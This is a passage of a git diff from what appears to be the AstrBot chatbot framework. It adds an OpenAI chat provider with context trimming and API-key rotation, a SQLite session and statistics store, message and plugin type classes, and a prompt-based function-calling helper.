+                # for i in range(len(contexts)):
+                #     if i > need_to_remove_idx:
+                #         contexts[i]['usage_tokens'] -= freed_tokens_num
+                # logger.debug(f"淘汰上下文记录 {need_to_remove_idx+1} 条，释放 {freed_tokens_num} 个 token。当前上下文总 token 为 {contexts[-1]['usage_tokens']}。")
+                # self.session_memory[session_id] = contexts[need_to_remove_idx+1:]
+            while len(self.session_memory[session_id]) and self.session_memory[session_id][-1]['usage_tokens'] > maxium_tokens_num:
+                self.pop_record(session_id)
+
+
+    async def pop_record(self, session_id: str, pop_system_prompt: bool = False):
+        '''
+        弹出第一条记录
+        '''
+        if session_id not in self.session_memory:
+            raise Exception("会话 ID 不存在")
+        
+        if len(self.session_memory[session_id]) == 0:
+            return None
+        
+        for i in range(len(self.session_memory[session_id])):
+            # 检查是否是 system prompt
+            if not pop_system_prompt and self.session_memory[session_id][i]['user']['role'] == "system":
+                # 如果只有一个 system prompt，才不删掉
+                f = False
+                for j in range(i+1, len(self.session_memory[session_id])):
+                    if self.session_memory[session_id][j]['user']['role'] == "system":
+                        f = True
+                        break
+                if not f:
+                    continue
+            record = self.session_memory[session_id].pop(i)
+            break
+
+        # 更新之后所有记录的 usage_tokens
+        for i in range(len(self.session_memory[session_id])):
+            self.session_memory[session_id][i]['usage_tokens'] -= record['single-tokens']
+        logger.debug(f"淘汰上下文记录 1 条，释放 {record['single-tokens']} 个 token。当前上下文总 token 为 {self.session_memory[session_id][-1]['usage_tokens']}。")
+        return record
+
+    async def text_chat(self, 
+                        prompt: str, 
+                        session_id: str, 
+                        image_url: None=None, 
+                        tools: None=None, 
+                        extra_conf: Dict = None,
+                        **kwargs
+                    ) -> str:
+        super().accu_model_stat()
+        if not session_id:
+            session_id = "unknown"
+            if "unknown" in self.session_memory:
+                del self.session_memory["unknown"]
+
+        if session_id not in self.session_memory:
+            self.session_memory[session_id] = []
+
+        if session_id not in self.session_personality or not self.session_personality[session_id]:
+            self.personality_set(self.curr_personality, session_id)
+            self.session_personality[session_id] = True
+        
+        # 如果 prompt 超过了最大窗口，截断。
+        # 1. 可以保证之后 pop 的时候不会出现问题
+        # 2. 可以保证不会超过最大 token 数
+        _encoded_prompt = self.tokenizer.encode(prompt)
+        curr_model = self.model_configs['model']
+        if curr_model in MODELS and len(_encoded_prompt) > MODELS[curr_model] - 300:
+            _encoded_prompt = _encoded_prompt[:MODELS[curr_model] - 300]
+            prompt = self.tokenizer.decode(_encoded_prompt)
+        
+        # 组装上下文，并且根据当前上下文窗口大小截断
+        await self.assemble_context(session_id, prompt, image_url)
+
+        # 获取上下文，openai 格式
+        contexts = await self.retrieve_context(session_id)
+
+        conf = self.model_configs
+        if extra_conf: conf.update(extra_conf)
+
+        # start request
+        retry = 0
+        rate_limit_retry = 0
+        while retry < 3 or rate_limit_retry < 5:
+            logger.debug(conf)
+            logger.debug(contexts)
+            if tools:
+                completion_coro = self.client.chat.completions.create(
+                    messages=contexts,
+                    tools=tools,
+                    **conf
+                )
+            else:
+                completion_coro = self.client.chat.completions.create(
+                    messages=contexts,
+                    **conf
+                )
+            try:
+                completion = await completion_coro
+                break
+            except AuthenticationError as e:
+                api_key = self.chosen_api_key[10:] + "..."
+                logger.error(f"OpenAI API Key {api_key} 验证错误。详细原因：{e}。正在切换到下一个可用的 Key（如果有的话）")
+                self.keys_data[self.chosen_api_key] = False
+                ok = await self.switch_to_next_key()
+                if ok: continue
+                else: raise Exception("所有 OpenAI API Key 目前都不可用。")
+            except BadRequestError as e:
+                logger.warn(f"OpenAI 请求异常：{e}。")
+                if "image_url is only supported by certain models." in str(e):
+                    raise Exception(f"当前模型 { self.model_configs['model'] } 不支持图片输入，请更换模型。")
+                retry += 1
+            except RateLimitError as e:
+                if "You exceeded your current quota" in str(e):
+                    self.keys_data[self.chosen_api_key] = False
+                    ok = await self.switch_to_next_key()
+                    if ok: continue
+                    else: raise Exception("所有 OpenAI API Key 目前都不可用。")
+                logger.error(f"OpenAI API Key {self.chosen_api_key} 达到请求速率限制或者官方服务器当前超载。详细原因：{e}")
+                await self.switch_to_next_key()
+                rate_limit_retry += 1
+                time.sleep(1)
+            except Exception as e:
+                retry += 1
+                if retry >= 3:
+                    logger.error(traceback.format_exc())
+                    raise Exception(f"OpenAI 请求失败：{e}。重试次数已达到上限。")
+                if "maximum context length" in str(e):
+                    logger.warn(f"OpenAI 请求失败：{e}。上下文长度超过限制。尝试弹出最早的记录然后重试。")
+                    self.pop_record(session_id)
+
+                logger.warning(f"OpenAI 请求失败：{e}。重试第 {retry} 次。")
+                time.sleep(1)
+
+        assert isinstance(completion, ChatCompletion)
+        logger.debug(f"openai completion: {completion.usage}")
+
+        choice = completion.choices[0]
+
+        usage_tokens = completion.usage.total_tokens
+        completion_tokens = completion.usage.completion_tokens
+        self.session_memory[session_id][-1]['usage_tokens'] = usage_tokens
+        self.session_memory[session_id][-1]['single_tokens'] += completion_tokens
+
+        if choice.message.content:
+            # 返回文本
+            completion_text = str(choice.message.content).strip()
+        elif choice.message.tool_calls and choice.message.tool_calls:
+            # tools call (function calling)
+            return choice.message.tool_calls[0].function
+        
+        self.session_memory[session_id][-1]['AI'] = {
+            "role": "assistant",
+            "content": completion_text
+        }
+
+        return completion_text
+    
+    async def switch_to_next_key(self):
+        '''
+        切换到下一个 API Key
+        '''
+        if not self.api_keys:
+            logger.error("OpenAI API Key 不存在。")
+            return False
+
+        for key in self.keys_data:
+            if self.keys_data[key]:
+                # 没超额
+                self.chosen_api_key = key
+                self.client.api_key = key
+                logger.info(f"OpenAI 切换到 API Key {key[:10]}... 成功。")
+                return True
+
+        return False
+    
+    async def image_generate(self, prompt: str, session_id: str = None, **kwargs) -> str:
+        '''
+        生成图片
+        '''
+        retry = 0
+        conf = self.image_generator_model_configs
+        super().accu_model_stat(model=conf['model'])
+        if not conf:
+            logger.error("OpenAI 图片生成模型配置不存在。")
+            raise Exception("OpenAI 图片生成模型配置不存在。")
+        
+        while retry < 3:
+            try:
+                images_response = await self.client.images.generate(
+                    prompt=prompt,
+                    **conf
+                )
+                image_url = images_response.data[0].url
+                return image_url
+            except Exception as e:
+                retry += 1
+                if retry >= 3:
+                    logger.error(traceback.format_exc())
+                    raise Exception(f"OpenAI 图片生成请求失败：{e}。重试次数已达到上限。")
+                logger.warning(f"OpenAI 图片生成请求失败：{e}。重试第 {retry} 次。")
+                time.sleep(1)
+
+    async def forget(self, session_id=None, keep_system_prompt: bool=False) -> bool:
+        if session_id is None: return False
+        self.session_memory[session_id] = []
+        if keep_system_prompt:
+            self.personality_set(self.curr_personality, session_id)
+        else:
+            self.curr_personality = self.DEFAULT_PERSONALITY
+        return True
+    
+    def dump_contexts_page(self, session_id: str, size=5, page=1,):
+        '''
+        获取缓存的会话
+        '''
+        # contexts_str = ""
+        # for i, key in enumerate(self.session_memory):
+        #     if i < (page-1)*size or i >= page*size:
+        #         continue
+        #     contexts_str += f"Session ID: {key}\n"
+        #     for record in self.session_memory[key]:
+        #         if "user" in record:
+        #             contexts_str += f"User: {record['user']['content']}\n"
+        #         if "AI" in record:
+        #             contexts_str += f"AI: {record['AI']['content']}\n"
+        #     contexts_str += "---\n"
+        contexts_str = ""
+        if session_id in self.session_memory:
+            for record in self.session_memory[session_id]:
+                if "user" in record and record['user']:
+                    text = record['user']['content'][:100] + "..." if len(record['user']['content']) > 100 else record['user']['content']
+                    contexts_str += f"User: {text}\n"
+                if "AI" in record and record['AI']:
+                    text = record['AI']['content'][:100] + "..." if len(record['AI']['content']) > 100 else record['AI']['content']
+                    contexts_str += f"Assistant: {text}\n"
+        else:
+            contexts_str = "会话 ID 不存在。"
+
+        return contexts_str, len(self.session_memory[session_id])
+
+    def set_model(self, model: str):
+        self.model_configs['model'] = model
+        self.cc.put_by_dot_str("openai.chatGPTConfigs.model", model)
+        super().set_curr_model(model)
+    
+    def get_configs(self):
+        return self.model_configs
+
+    def get_keys_data(self):
+        return self.keys_data
+
+    def get_curr_key(self):
+        return self.chosen_api_key
+
+    def set_key(self, key):
+        self.client.api_key = key

model/provider/provider.py

@@ -0,0 +1,58 @@
+from collections import defaultdict
+
+class Provider:
+    def __init__(self) -> None:
+        self.model_stat = defaultdict(int) # 用于记录 LLM Model 使用数据
+        self.curr_model_name = "unknown"
+        
+    def reset_model_stat(self):
+        self.model_stat.clear()
+        
+    def set_curr_model(self, model_name: str):
+        self.curr_model_name = model_name
+    
+    def get_curr_model(self):
+        '''
+        返回当前正在使用的 LLM
+        '''
+        return self.curr_model_name
+    
+    def accu_model_stat(self, model: str = None):
+        if not model:
+            model = self.get_curr_model()
+        self.model_stat[model] += 1
+        
+    async def text_chat(self,
+                        prompt: str,
+                        session_id: str,
+                        image_url: None = None,
+                        tools: None = None,
+                        extra_conf: dict = None,
+                        default_personality: dict = None,
+                        **kwargs) -> str:
+        '''
+        [require]
+        prompt: 提示词
+        session_id: 会话id
+
+        [optional]
+        image_url: 图片url（识图）
+        tools: 函数调用工具
+        extra_conf: 额外配置
+        default_personality: 默认人格
+        '''
+        raise NotImplementedError()
+
+    async def image_generate(self, prompt, session_id, **kwargs) -> str:
+        '''
+        [require]
+        prompt: 提示词
+        session_id: 会话id
+        '''
+        raise NotImplementedError()
+
+    async def forget(self, session_id=None) -> bool:
+        '''
+        重置会话
+        '''
+        raise NotImplementedError()

persist/session.py

@@ -0,0 +1,296 @@
+import sqlite3
+import os
+import shutil
+import time
+from typing import Tuple
+
+
+class dbConn():
+    def __init__(self):
+        db_path = "data/data.db"
+        if os.path.exists("data.db"):
+            shutil.copy("data.db", db_path)
+        conn = sqlite3.connect(db_path)
+        conn.text_factory = str
+        self.conn = conn
+        c = conn.cursor()
+        c.execute(
+            '''
+            CREATE TABLE IF NOT EXISTS tb_session(
+                qq_id   VARCHAR(32) PRIMARY KEY,
+                history TEXT
+            );
+            '''
+        )
+        c.execute(
+            '''
+            CREATE TABLE IF NOT EXISTS tb_stat_session(
+                platform VARCHAR(32),
+                session_id VARCHAR(32),
+                cnt INTEGER
+            );
+            '''
+        )
+        c.execute(
+            '''
+            CREATE TABLE IF NOT EXISTS tb_stat_message(
+                ts INTEGER,
+                cnt INTEGER
+            );
+            '''
+        )
+        c.execute(
+            '''
+            CREATE TABLE IF NOT EXISTS tb_stat_platform(
+                ts INTEGER,
+                platform VARCHAR(32),
+                cnt INTEGER
+            );
+            '''
+        )
+
+        conn.commit()
+
+    def insert_session(self, qq_id, history):
+        conn = self.conn
+        c = conn.cursor()
+        c.execute(
+            '''
+            INSERT INTO tb_session(qq_id, history) VALUES (?, ?)
+            ''', (qq_id, history)
+        )
+        conn.commit()
+
+    def update_session(self, qq_id, history):
+        conn = self.conn
+        c = conn.cursor()
+        c.execute(
+            '''
+            UPDATE tb_session SET history = ? WHERE qq_id = ?
+            ''', (history, qq_id)
+        )
+        conn.commit()
+
+    def get_session(self, qq_id):
+        conn = self.conn
+        c = conn.cursor()
+        c.execute(
+            '''
+            SELECT * FROM tb_session WHERE qq_id = ?
+            ''', (qq_id, )
+        )
+        return c.fetchone()
+
+    def get_all_session(self):
+        conn = self.conn
+        c = conn.cursor()
+        c.execute(
+            '''
+            SELECT * FROM tb_session
+            '''
+        )
+        return c.fetchall()
+
+    def check_session(self, qq_id):
+        conn = self.conn
+        c = conn.cursor()
+        c.execute(
+            '''
+            SELECT * FROM tb_session WHERE qq_id = ?
+            ''', (qq_id, )
+        )
+        return c.fetchone() is not None
+
+    def delete_session(self, qq_id):
+        conn = self.conn
+        c = conn.cursor()
+        c.execute(
+            '''
+            DELETE FROM tb_session WHERE qq_id = ?
+            ''', (qq_id, )
+        )
+        conn.commit()
+
+    def increment_stat_session(self, platform, session_id, cnt):
+        # if not exist, insert
+        conn = self.conn
+        c = conn.cursor()
+
+        if self.check_stat_session(platform, session_id):
+            c.execute(
+                '''
+                UPDATE tb_stat_session SET cnt = cnt + ? WHERE platform = ? AND session_id = ?
+                ''', (cnt, platform, session_id)
+            )
+            conn.commit()
+        else:
+            c.execute(
+                '''
+                INSERT INTO tb_stat_session(platform, session_id, cnt) VALUES (?, ?, ?)
+                ''', (platform, session_id, cnt)
+            )
+            conn.commit()
+
+    def check_stat_session(self, platform, session_id):
+        conn = self.conn
+        c = conn.cursor()
+        c.execute(
+            '''
+            SELECT * FROM tb_stat_session WHERE platform = ? AND session_id = ?
+            ''', (platform, session_id)
+        )
+        return c.fetchone() is not None
+
+    def get_all_stat_session(self):
+        conn = self.conn
+        c = conn.cursor()
+        c.execute(
+            '''
+            SELECT * FROM tb_stat_session
+            '''
+        )
+        return c.fetchall()
+
+    def get_session_cnt_total(self):
+        conn = self.conn
+        c = conn.cursor()
+        c.execute(
+            '''
+            SELECT COUNT(*) FROM tb_stat_session
+            '''
+        )
+        return c.fetchone()[0]
+
+    def increment_stat_message(self, ts, cnt):
+        # 以一个小时为单位。ts的单位是秒。
+        # 找到最近的一个小时，如果没有，就插入
+
+        conn = self.conn
+        c = conn.cursor()
+
+        ok, new_ts = self.check_stat_message(ts)
+
+        if ok:
+            c.execute(
+                '''
+                UPDATE tb_stat_message SET cnt = cnt + ? WHERE ts = ?
+                ''', (cnt, new_ts)
+            )
+            conn.commit()
+        else:
+            c.execute(
+                '''
+                INSERT INTO tb_stat_message(ts, cnt) VALUES (?, ?)
+                ''', (new_ts, cnt)
+            )
+            conn.commit()
+
+    def check_stat_message(self, ts) -> Tuple[bool, int]:
+        # 换算成当地整点的时间戳
+
+        ts = ts - ts % 3600
+        conn = self.conn
+        c = conn.cursor()
+        c.execute(
+            '''
+            SELECT * FROM tb_stat_message WHERE ts = ?
+            ''', (ts, )
+        )
+        if c.fetchone() is not None:
+            return True, ts
+        else:
+            return False, ts
+
+    def get_last_24h_stat_message(self):
+        # 获取最近24小时的消息统计
+        conn = self.conn
+        c = conn.cursor()
+        c.execute(
+            '''
+            SELECT * FROM tb_stat_message WHERE ts > ?
+            ''', (time.time() - 86400, )
+        )
+        return c.fetchall()
+
+    def get_message_cnt_total(self) -> int:
+        conn = self.conn
+        c = conn.cursor()
+        c.execute(
+            '''
+            SELECT SUM(cnt) FROM tb_stat_message
+            '''
+        )
+        return c.fetchone()[0]
+
+    def increment_stat_platform(self, ts, platform, cnt):
+        # 以一个小时为单位。ts的单位是秒。
+        # 找到最近的一个小时，如果没有，就插入
+
+        conn = self.conn
+        c = conn.cursor()
+
+        ok, new_ts = self.check_stat_platform(ts, platform)
+
+        if ok:
+            c.execute(
+                '''
+                UPDATE tb_stat_platform SET cnt = cnt + ? WHERE ts = ? AND platform = ?
+                ''', (cnt, new_ts, platform)
+            )
+            conn.commit()
+        else:
+            c.execute(
+                '''
+                INSERT INTO tb_stat_platform(ts, platform, cnt) VALUES (?, ?, ?)
+                ''', (new_ts, platform, cnt)
+            )
+            conn.commit()
+
+    def check_stat_platform(self, ts, platform):
+        # 换算成当地整点的时间戳
+
+        ts = ts - ts % 3600
+        conn = self.conn
+        c = conn.cursor()
+        c.execute(
+            '''
+            SELECT * FROM tb_stat_platform WHERE ts = ? AND platform = ?
+            ''', (ts, platform)
+        )
+        if c.fetchone() is not None:
+            return True, ts
+        else:
+            return False, ts
+
+    def get_last_24h_stat_platform(self):
+        # 获取最近24小时的消息统计
+        conn = self.conn
+        c = conn.cursor()
+        c.execute(
+            '''
+            SELECT * FROM tb_stat_platform WHERE ts > ?
+            ''', (time.time() - 86400, )
+        )
+        return c.fetchall()
+
+    def get_platform_cnt_total(self) -> int:
+        conn = self.conn
+        c = conn.cursor()
+        c.execute(
+            '''
+            SELECT platform, SUM(cnt) FROM tb_stat_platform GROUP BY platform
+            '''
+        )
+        # return c.fetchall()
+        platforms = []
+        ret = c.fetchall()
+        for i in ret:
+            # platforms[i[0]] = i[1]
+            platforms.append({
+                "name": i[0],
+                "count": i[1]
+            })
+        return platforms
+
+    def close(self):
+        self.conn.close()

requirements.txt

@@ -1,3 +1,19 @@
-requests~=2.28.2
-openai~=0.26.5
-qq-botpy~=1.1.2
+pydantic~=1.10.4
+aiohttp
+requests
+openai~=1.2.3
+qq-botpy
+chardet~=5.1.0
+Pillow
+GitPython
+nakuru-project
+beautifulsoup4
+googlesearch-python
+tiktoken
+readability-lxml
+baidu-aip
+websockets
+flask
+psutil
+lxml_html_clean
+SparkleLogging

type/command.py

@@ -0,0 +1,28 @@
+from typing import Union, List, Callable
+from dataclasses import dataclass
+
+
+@dataclass
+class CommandItem():
+    '''
+    用来描述单个指令
+    '''
+
+    command_name: Union[str, tuple]  # 指令名
+    callback: Callable  # 回调函数
+    description: str  # 描述
+    origin: str  # 注册来源
+
+class CommandResult():
+    '''
+    用于在Command中返回多个值
+    '''
+
+    def __init__(self, hit: bool, success: bool = False, message_chain: list = [], command_name: str = "unknown_command") -> None:
+        self.hit = hit
+        self.success = success
+        self.message_chain = message_chain
+        self.command_name = command_name
+
+    def _result_tuple(self):
+        return (self.success, self.message_chain, self.command_name)

type/config.py

@@ -0,0 +1 @@
+VERSION = '3.2.4'

type/message.py

@@ -0,0 +1,62 @@
+from enum import Enum
+from typing import List
+from dataclasses import dataclass
+from nakuru.entities.components import BaseMessageComponent
+
+from type.register import RegisteredPlatform
+from type.types import GlobalObject
+
+class MessageType(Enum):
+    GROUP_MESSAGE = 'GroupMessage'  # 群组形式的消息
+    FRIEND_MESSAGE = 'FriendMessage'  # 私聊、好友等单聊消息
+    GUILD_MESSAGE = 'GuildMessage'  # 频道消息
+
+
+@dataclass
+class MessageMember():
+    user_id: str  # 发送者id
+    nickname: str = None
+
+
+class AstrBotMessage():
+    '''
+    AstrBot 的消息对象
+    '''
+    tag: str  # 消息来源标签
+    type: MessageType  # 消息类型
+    self_id: str  # 机器人的识别id
+    session_id: str  # 会话id
+    message_id: str  # 消息id
+    sender: MessageMember  # 发送者
+    message: List[BaseMessageComponent]  # 消息链使用 Nakuru 的消息链格式
+    message_str: str  # 最直观的纯文本消息字符串
+    raw_message: object
+    timestamp: int  # 消息时间戳
+
+    def __str__(self) -> str:
+        return str(self.__dict__)
+
+class AstrMessageEvent():
+    '''
+    消息事件。
+    '''
+    context: GlobalObject  # 一些公用数据
+    message_str: str  # 纯消息字符串
+    message_obj: AstrBotMessage  # 消息对象
+    platform: RegisteredPlatform  # 来源平台
+    role: str  # 基本身份。`admin` 或 `member`
+    session_id: int  # 会话 id
+
+    def __init__(self,
+                 message_str: str,
+                 message_obj: AstrBotMessage,
+                 platform: RegisteredPlatform,
+                 role: str,
+                 context: GlobalObject,
+                 session_id: str = None):
+        self.context = context
+        self.message_str = message_str
+        self.message_obj = message_obj
+        self.platform = platform
+        self.role = role
+        self.session_id = session_id

type/plugin.py

@@ -0,0 +1,27 @@
+from enum import Enum
+from dataclasses import dataclass
+
+class PluginType(Enum):
+    PLATFORM = 'platform'  # 平台类插件。
+    LLM = 'llm'  # 大语言模型类插件
+    COMMON = 'common'  # 其他插件
+
+
+@dataclass
+class PluginMetadata:
+    '''
+    插件的元数据。
+    '''
+    # required
+    plugin_name: str
+    plugin_type: PluginType
+    author: str  # 插件作者
+    desc: str  # 插件简介
+    version: str  # 插件版本
+
+    # optional
+    repo: str = None  # 插件仓库地址
+
+    def __str__(self) -> str:
+        return f"PluginMetadata({self.plugin_name}, {self.plugin_type}, {self.desc}, {self.version}, {self.repo})"
+

type/register.py

@@ -0,0 +1,53 @@
+from model.provider.provider import Provider as LLMProvider
+from model.platform._platfrom import Platform
+from type.plugin import *
+from typing import List
+from types import ModuleType
+from dataclasses import dataclass
+
+@dataclass
+class RegisteredPlugin:
+    '''
+    注册在 AstrBot 中的插件。
+    '''
+    metadata: PluginMetadata
+    plugin_instance: object
+    module_path: str
+    module: ModuleType
+    root_dir_name: str
+    trig_cnt: int = 0
+    
+    def reset_trig_cnt(self):
+        self.trig_cnt = 0
+    
+    def trig(self):
+        self.trig_cnt += 1
+
+    def __str__(self) -> str:
+        return f"RegisteredPlugin({self.metadata}, {self.module_path}, {self.root_dir_name})"
+
+
+RegisteredPlugins = List[RegisteredPlugin]
+
+
+@dataclass
+class RegisteredPlatform:
+    '''
+    注册在 AstrBot 中的平台。平台应当实现 Platform 接口。
+    '''
+    platform_name: str
+    platform_instance: Platform
+    origin: str = None  # 注册来源
+
+    def __str__(self) -> str:
+        return self.platform_name
+
+
+@dataclass
+class RegisteredLLM:
+    '''
+    注册在 AstrBot 中的大语言模型调用。大语言模型应当实现 LLMProvider 接口。
+    '''
+    llm_name: str
+    llm_instance: LLMProvider
+    origin: str = None  # 注册来源

type/types.py

@@ -0,0 +1,36 @@
+
+from type.register import *
+from typing import List
+from logging import Logger
+
+class GlobalObject:
+    '''
+    存放一些公用的数据，用于在不同模块(如core与command)之间传递
+    '''
+    version: str  # 机器人版本
+    nick: tuple  # 用户定义的机器人的别名
+    base_config: dict  # config.json 中导出的配置
+    cached_plugins: List[RegisteredPlugin]  # 加载的插件
+    platforms: List[RegisteredPlatform]
+    llms: List[RegisteredLLM]
+
+    web_search: bool  # 是否开启了网页搜索
+    reply_prefix: str  # 回复前缀
+    unique_session: bool  # 是否开启了独立会话
+    default_personality: dict
+    dashboard_data = None
+    
+    logger: Logger = None
+
+    def __init__(self):
+        self.nick = None  # gocq 的昵称
+        self.base_config = None  # config.yaml
+        self.cached_plugins = []  # 缓存的插件
+        self.web_search = False  # 是否开启了网页搜索
+        self.reply_prefix = None
+        self.unique_session = False
+        self.platforms = []
+        self.llms = []
+        self.default_personality = None
+        self.dashboard_data = None
+        self.stat = {}

util/agent/func_call.py

@@ -0,0 +1,247 @@
+
+import json
+import util.general_utils as gu
+
+import time
+
+
+class FuncCallJsonFormatError(Exception):
+    def __init__(self, msg):
+        self.msg = msg
+
+    def __str__(self):
+        return self.msg
+
+
+class FuncNotFoundError(Exception):
+    def __init__(self, msg):
+        self.msg = msg
+
+    def __str__(self):
+        return self.msg
+
+
+class FuncCall():
+    def __init__(self, provider) -> None:
+        self.func_list = []
+        self.provider = provider
+
+    def add_func(self, name: str = None, func_args: list = None, desc: str = None, func_obj=None) -> None:
+        if name == None or func_args == None or desc == None or func_obj == None:
+            raise FuncCallJsonFormatError(
+                "name, func_args, desc must be provided.")
+        params = {
+            "type": "object",  # hardcore here
+            "properties": {}
+        }
+        for param in func_args:
+            params['properties'][param['name']] = {
+                "type": param['type'],
+                "description": param['description']
+            }
+        self._func = {
+            "name": name,
+            "parameters": params,
+            "description": desc,
+            "func_obj": func_obj,
+        }
+        self.func_list.append(self._func)
+
+    def func_dump(self, intent: int = 2) -> str:
+        _l = []
+        for f in self.func_list:
+            _l.append({
+                "name": f["name"],
+                "parameters": f["parameters"],
+                "description": f["description"],
+            })
+        return json.dumps(_l, indent=intent, ensur_ascii=False)
+
+    def get_func(self) -> list:
+        _l = []
+        for f in self.func_list:
+            _l.append({
+                "type": "function",
+                "function": {
+                    "name": f["name"],
+                    "parameters": f["parameters"],
+                    "description": f["description"],
+                }
+            })
+        return _l
+
+    def func_call(self, question, func_definition, is_task=False, tasks=None, taskindex=-1, is_summary=True, session_id=None):
+
+        funccall_prompt = """
+我正实现function call功能，该功能旨在让你变成给定的问题到给定的函数的解析器（意味着你不是创造函数）。
+下面会给你提供可能用到的函数相关信息和一个问题，你需要将其转换成给定的函数调用。
+- 你的返回信息只含json，请严格仿照以下内容（不含注释），必须含有`res`,`func_call`字段:
+```
+{
+    "res": string // 如果没有找到对应的函数，那么你可以在这里正常输出内容。如果有，这里是空字符串。
+    "func_call": [ // 这是一个数组，里面包含了所有的函数调用，如果没有函数调用，那么这个数组是空数组。
+        {
+            "res": string // 如果没有找到对应的函数，那么你可以在这里正常输出内容。如果有，这里是空字符串。
+            "name": str, // 函数的名字
+            "args_type": {
+                "arg1": str, // 函数的参数的类型
+                "arg2": str,
+                ...
+            },
+            "args": {
+                "arg1": any, // 函数的参数
+                "arg2": any,
+                ...
+            }
+        },
+        ... // 可能在这个问题中会有多个函数调用
+    ],
+}
+```
+- 如果用户的要求较复杂，允许返回多个函数调用，但需保证这些函数调用的顺序正确。
+- 当问题没有提到给定的函数时，相当于提问方不打算使用function call功能，这时你可以在res中正常输出这个问题的回答（以AI的身份正常回答该问题，并将答案输出在res字段中，回答不要涉及到任何函数调用的内容，就只是正常讨论这个问题。）
+
+提供的函数是：
+
+"""
+
+        prompt = f"{funccall_prompt}\n```\n{func_definition}\n```\n"
+        prompt += f"""
+用户的提问是：
+```
+{question}
+```
+"""
+
+        # if is_task:
+        #     # task_prompt = f"\n任务列表为{str(tasks)}\n你目前进行到了任务{str(taskindex)}, **你不需要重新进行已经进行过的任务, 不要生成已经进行过的**"
+        #     prompt += task_prompt
+
+        # provider.forget()
+
+        _c = 0
+        while _c < 3:
+            try:
+                res = self.provider.text_chat(prompt, session_id)
+                if res.find('```') != -1:
+                    res = res[res.find('```json') + 7: res.rfind('```')]
+                gu.log("REVGPT func_call json result",
+                       bg=gu.BG_COLORS["green"], fg=gu.FG_COLORS["white"])
+                print(res)
+                res = json.loads(res)
+                break
+            except Exception as e:
+                _c += 1
+                if _c == 3:
+                    raise e
+                if "The message you submitted was too long" in str(e):
+                    raise e
+
+        invoke_func_res = ""
+
+        if "func_call" in res and len(res["func_call"]) > 0:
+            task_list = res["func_call"]
+
+            invoke_func_res_list = []
+
+            for res in task_list:
+                # 说明有函数调用
+                func_name = res["name"]
+                # args_type = res["args_type"]
+                args = res["args"]
+                # 调用函数
+                # func = eval(func_name)
+                func_target = None
+                for func in self.func_list:
+                    if func["name"] == func_name:
+                        func_target = func["func_obj"]
+                        break
+                if func_target == None:
+                    raise FuncNotFoundError(
+                        f"Request function {func_name} not found.")
+                t_res = str(func_target(**args))
+                invoke_func_res += f"{func_name} 调用结果：\n```\n{t_res}\n```\n"
+                invoke_func_res_list.append(invoke_func_res)
+                gu.log(f"[FUNC| {func_name} invoked]",
+                       bg=gu.BG_COLORS["green"], fg=gu.FG_COLORS["white"])
+                # print(str(t_res))
+
+            if is_summary:
+
+                # 生成返回结果
+                after_prompt = """
+有以下内容："""+invoke_func_res+"""
+请以AI助手的身份结合返回的内容对用户提问做详细全面的回答。
+用户的提问是：
+```""" + question + """```
+- 在res字段中，不要输出函数的返回值，也不要针对返回值的字段进行分析，也不要输出用户的提问，而是理解这一段返回的结果，并以AI助手的身份回答问题，只需要输出回答的内容，不需要在回答的前面加上身份词。
+- 你的返回信息必须只能是json，且需严格遵循以下内容（不含注释）:
+```json
+{
+    "res": string, // 回答的内容
+    "func_call_again": bool // 如果函数返回的结果有错误或者问题，可将其设置为true，否则为false
+}
+```
+- 如果func_call_again为true，res请你设为空值，否则请你填写回答的内容。"""
+
+                _c = 0
+                while _c < 5:
+                    try:
+                        res = self.provider.text_chat(after_prompt, session_id)
+                        # 截取```之间的内容
+                        gu.log(
+                            "DEBUG BEGIN", bg=gu.BG_COLORS["yellow"], fg=gu.FG_COLORS["white"])
+                        print(res)
+                        gu.log(
+                            "DEBUG END", bg=gu.BG_COLORS["yellow"], fg=gu.FG_COLORS["white"])
+                        if res.find('```') != -1:
+                            res = res[res.find('```json') +
+                                      7: res.rfind('```')]
+                        gu.log("REVGPT after_func_call json result",
+                               bg=gu.BG_COLORS["green"], fg=gu.FG_COLORS["white"])
+                        after_prompt_res = res
+                        after_prompt_res = json.loads(after_prompt_res)
+                        break
+                    except Exception as e:
+                        _c += 1
+                        if _c == 5:
+                            raise e
+                        if "The message you submitted was too long" in str(e):
+                            # 如果返回的内容太长了，那么就截取一部分
+                            time.sleep(3)
+                            invoke_func_res = invoke_func_res[:int(
+                                len(invoke_func_res) / 2)]
+                            after_prompt = """
+函数返回以下内容："""+invoke_func_res+"""
+请以AI助手的身份结合返回的内容对用户提问做详细全面的回答。
+用户的提问是：
+```""" + question + """```
+- 在res字段中，不要输出函数的返回值，也不要针对返回值的字段进行分析，也不要输出用户的提问，而是理解这一段返回的结果，并以AI助手的身份回答问题，只需要输出回答的内容，不需要在回答的前面加上身份词。
+- 你的返回信息必须只能是json，且需严格遵循以下内容（不含注释）:
+```json
+{
+    "res": string, // 回答的内容
+    "func_call_again": bool // 如果函数返回的结果有错误或者问题，可将其设置为true，否则为false
+}
+```
+- 如果func_call_again为true，res请你设为空值，否则请你填写回答的内容。"""
+                        else:
+                            raise e
+
+                if "func_call_again" in after_prompt_res and after_prompt_res["func_call_again"]:
+                    # 如果需要重新调用函数
+                    # 重新调用函数
+                    gu.log("REVGPT func_call_again",
+                           bg=gu.BG_COLORS["purple"], fg=gu.FG_COLORS["white"])
+                    res = self.func_call(question, func_definition)
+                    return res, True
+
+                gu.log("REVGPT func callback:",
+                       bg=gu.BG_COLORS["green"], fg=gu.FG_COLORS["white"])
+                # print(after_prompt_res["res"])
+                return after_prompt_res["res"], True
+            else:
+                return str(invoke_func_res_list), True
+        else:
+            # print(res["res"])
+            return res["res"], False

util/agent/web_searcher.py

@@ -0,0 +1,183 @@
+import traceback
+import random
+import json
+import asyncio
+import aiohttp
+import os
+
+from readability import Document
+from bs4 import BeautifulSoup
+from openai.types.chat.chat_completion_message_tool_call import Function
+from util.agent.func_call import FuncCall
+from util.search_engine_scraper.config import HEADERS, USER_AGENTS
+from util.search_engine_scraper.bing import Bing
+from util.search_engine_scraper.sogo import Sogo
+from util.search_engine_scraper.google import Google
+from model.provider.provider import Provider
+from SparkleLogging.utils.core import LogManager
+from logging import Logger
+
+logger: Logger = LogManager.GetLogger(log_name='astrbot-core')
+
+
+bing_search = Bing()
+sogo_search = Sogo()
+google = Google()
+proxy = os.environ.get("HTTPS_PROXY", None)
+
+def tidy_text(text: str) -> str:
+    '''
+    清理文本，去除空格、换行符等
+    '''
+    return text.strip().replace("\n", " ").replace("\r", " ").replace("  ", " ")
+
+# def special_fetch_zhihu(link: str) -> str:
+#     '''
